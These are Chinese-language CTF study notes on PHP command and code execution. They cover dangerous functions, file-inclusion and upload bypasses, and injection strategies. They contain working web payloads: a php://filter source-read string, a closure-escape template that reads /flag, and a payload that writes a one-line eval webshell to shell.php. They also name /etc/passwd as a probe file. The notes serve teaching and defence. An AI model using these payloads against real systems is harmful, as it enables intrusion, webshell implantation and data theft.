一、 命令执行与代码执行的区别
- 命令执行 (RCE):调用操作系统的命令(如
ls,cat,whoami)。 - 代码执行:执行当前语言本身的代码(如 PHP 的函数、变量、逻辑)。
- 注:代码执行往往可以衍生出命令执行(如 PHP 代码执行了
system('cat /flag'))。
二、 危险函数与语法速查
1. 反引号` `—— 命令替换
- 作用:将反引号内的字符串交给系统 Shell 执行,并将输出结果返回。
- 等价于:PHP 中的
shell_exec(),Shell 中的$()。 - 示例:
$output = `cat /etc/passwd`; - 防御:绝不全拼用户输入;使用
escapeshellarg()/escapeshellcmd()。
2.eval()—— 代码注入之王
- 作用:将传入的字符串当作 PHP 代码执行。
- 名言:Eval is evil。
- 危险点:只要字符串中包含可控变量,就能注入任意代码。
- 防御:坚决不用
eval处理不可信数据;使用call_user_func或映射表替代动态调用。
3.file_put_contents()—— 一次性写文件
- 语法:
file_put_contents(文件名, 写入内容, 标志位, 上下文) - 常用标志位:
FILE_APPEND(追加写入) |LOCK_EX(排他锁防并发冲突)。 - 特性:等于
fopen+fwrite+fclose的封装;目录不存在会报错不会自动创建。
4.include()—— 文件包含
- 作用:读取指定文件内容,并将其作为 PHP 代码执行。
- 核心漏洞:
include($_GET['file'])导致任意文件包含 (LFI/RFI)。 - 特性:无论包含什么格式的文件(
.jpg,.txt,.log),只要里面包含<?php ... ?>,都会被当作 PHP 执行。
三、 核心攻击手法 (CTF 必考)
手法 1:MIME 类型绕过 (文件上传)
- 场景:后端仅检查 HTTP 请求中的
Content-Type是否为图片。 - 标准 MIME:
.php对应application/x-httpd-php。 - 绕过:抓包将上传
.php文件的Content-Type伪造为image/jpeg或image/png,骗过服务端检查,但文件仍被解析为脚本。
手法 2:PHP 伪协议读取源码 (文件包含配合)
- 场景:
include('flag.php')不会显示代码,只会执行变量赋值。 - Payload:
?file=php://filter/read=convert.base64-encode/resource=flag.php - 效果:
include读取flag.php源码并以 Base64 编码输出,解码即可看到明文源码,绕过执行。
手法 3:敏感文件探测黄金标准
- Linux:
/etc/passwd(验证命令执行/LFI是否存在)、/flag或/flag.txt(常见 Flag 位置)。 - Windows:
C:\Windows\System32\drivers\etc\hosts。
四、 🌟 代码注入核心思路:顺应语法 vs 闭合逃逸
当可控变量被强行拼接进某个函数内部时(如eval("func(".$_GET['c'].");")),有两种解题思路:
思路 A:顺应语法 (利用函数本身特性)
不破坏外层函数的结构,将恶意代码作为合法参数传入。
- 场景 1:
eval("file_put_contents(".$code.");");- 传入:
code='shell.php','<?php eval($_POST[1]);?>' - 执行:
file_put_contents('shell.php','<?php eval($_POST[1]);?>');(直接写马)
- 传入:
- 场景 2:
eval("include(".$code.");");- 传入:
code='php://filter/read=convert.base64-encode/resource=flag.php' - 执行:
include('php://filter/...');(利用伪协议读源码)
- 传入:
思路 B:闭合逃逸 (降维打击,无视外层函数)
强行闭合掉外层函数,注释掉多余代码,执行我们自己的代码。
- 万能 Payload 模板:
1);恶意代码;// - 场景:
eval("include(".$code.");");- 传入:
code=1);echo file_get_contents('/flag');// - 执行:
include(1);echo file_get_contents('/flag');//); - 解析:
include(1);报 Warning 但不致命 -> 执行echo file_get_contents读 Flag ->//注释掉后面的垃圾代码。
- 传入:
五、 踩坑与调试技巧 (避坑指南)
1.Use of undefined constant报错
- 原因:字符串没有加引号。例如
include(shell.php),PHP 把shell当成常量找。 - 解决:确保拼接后的代码里字符串有引号。传入参数时要把引号带进去:
code='shell.php'。
2. URL 特殊字符编码
- 原因:在 GET 请求中,单引号
'、空格、尖括号<>容易解析错误或被 WAF 拦截。 - 解决:使用 Hackbar 或 Burp 时,确保对 Payload 进行 URL 编码(如
'变%27,空格变%20)。
3. 终极调试法:eval换echo
- 做法:当不确定自己传参后 PHP 到底执行了什么,把题目源码里的
eval换成echo。 - 效果:网页会直接打印出拼接后的完整字符串,语法错误、引号缺失一目了然。